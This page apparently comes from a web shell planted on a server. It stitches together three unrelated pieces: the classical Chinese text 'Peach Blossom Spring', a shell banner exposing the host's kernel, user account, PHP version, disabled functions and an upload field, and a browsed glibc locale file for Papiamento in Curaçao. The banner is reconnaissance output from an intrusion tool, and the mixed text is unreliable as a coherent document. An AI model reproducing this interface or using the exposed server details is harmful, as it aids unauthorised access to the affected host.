晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /usr/share/i18n/locales/ |
Upload File : |
comment_char %
escape_char /
% This file is part of the GNU C Library and contains locale data.
% The Free Software Foundation does not claim any copyright interest
% in the locale data contained in this file. The foregoing does not
% affect the license of the GNU C Library as a whole. It does not
% exempt you from the conditions of the license if your use would
% otherwise be governed by that license.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%
% This file is derived from pap_AN ver0.2 (after AN was deprecated in ISO-3166)
% revision "0.2" date "2000-11-15"
%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
LC_IDENTIFICATION
title "Papiamento language for Cura<U00E7>ao"
source "information from native speaker"
address ""
contact "Pablo Saratxaga"
email "pablo@mandrakesoft.com"
tel ""
fax ""
language "Papiamento"
territory "Cura<U00E7>ao"
revision "1.0"
date "2013-09-27"
category "i18n:2012";LC_IDENTIFICATION
category "i18n:2012";LC_COLLATE
category "i18n:2012";LC_CTYPE
category "i18n:2012";LC_MESSAGES
category "i18n:2012";LC_MONETARY
category "i18n:2012";LC_NUMERIC
category "i18n:2012";LC_TIME
category "i18n:2012";LC_PAPER
category "i18n:2012";LC_MEASUREMENT
category "i18n:2012";LC_TELEPHONE
category "i18n:2012";LC_ADDRESS
END LC_IDENTIFICATION
LC_ADDRESS
postal_fmt "%d%N%f%N%d%N%b%N%s %h 5e %r%N%C%z %T%N%c%N"
% https://pap.wikipedia.org/wiki/K%C3%B2rsou
country_name "K<U00F2>rsou"
country_post "CW"
country_ab2 "CW"
country_ab3 "CUW"
country_num 531
country_car ""
country_isbn "978-99904"
lang_name "Papiamento"
% lang_ab
lang_term "pap"
lang_lib "pap"
END LC_ADDRESS
LC_CTYPE
copy "en_DK"
END LC_CTYPE
LC_COLLATE
copy "en_DK"
END LC_COLLATE
LC_MESSAGES
yesexpr "^[+1sSyY]"
noexpr "^[-0nN]"
yesstr "s<U00ED>"
nostr "n<U00F2>"
END LC_MESSAGES
LC_MONETARY
int_curr_symbol "ANG "
currency_symbol "<U0192>"
mon_decimal_point ","
mon_thousands_sep "<U202F>"
mon_grouping 3;3
positive_sign ""
negative_sign "-"
int_frac_digits 2
frac_digits 2
p_cs_precedes 1
p_sep_by_space 1
n_cs_precedes 1
n_sep_by_space 1
p_sign_posn 1
n_sign_posn 2
END LC_MONETARY
LC_TIME
abday "do";"lu";"ma";/
"we";"ra";"bi";/
"sa"
day "Djadomingo";/
"Djaluna";/
"Djamars";/
"Djawebs";/
"Djarason";/
"Djabierne";/
"Djasabra"
abmon "Yan";"Feb";/
"Mar";"Apr";/
"Mei";"Y<U00FC>n";/
"Y<U00FC>l";"Oug";/
"S<U00E8>p";"Okt";/
"Nov";"Des"
mon "Yan<U00FC>ari";/
"Febr<U00FC>ari";/
"Mart";/
"Aprel";/
"Mei";/
"Y<U00FC>ni";/
"Y<U00FC>li";/
"Oug<U00F9>st<U00F9>s";/
"S<U00E8>pt<U00E8>mber";/
"Oktober";/
"Nov<U00E8>mber";/
"Des<U00E8>mber"
d_t_fmt "%a %d %b %Y %T %Z"
d_fmt "%d-%m-%y"
t_fmt "%T"
am_pm "";""
t_fmt_ampm ""
week 7;19971130;1
first_weekday 2
END LC_TIME
LC_NUMERIC
decimal_point ","
thousands_sep ""
grouping 0;0
END LC_NUMERIC
LC_MEASUREMENT
copy "en_DK"
END LC_MEASUREMENT
LC_PAPER
copy "en_DK"
END LC_PAPER
LC_TELEPHONE
tel_int_fmt "+%c %a %l"
% FIXME FIND tel_dom_fmt
int_select "00"
int_prefix "599"
END LC_TELEPHONE
LC_NAME
% Todo
copy "en_DK"
END LC_NAME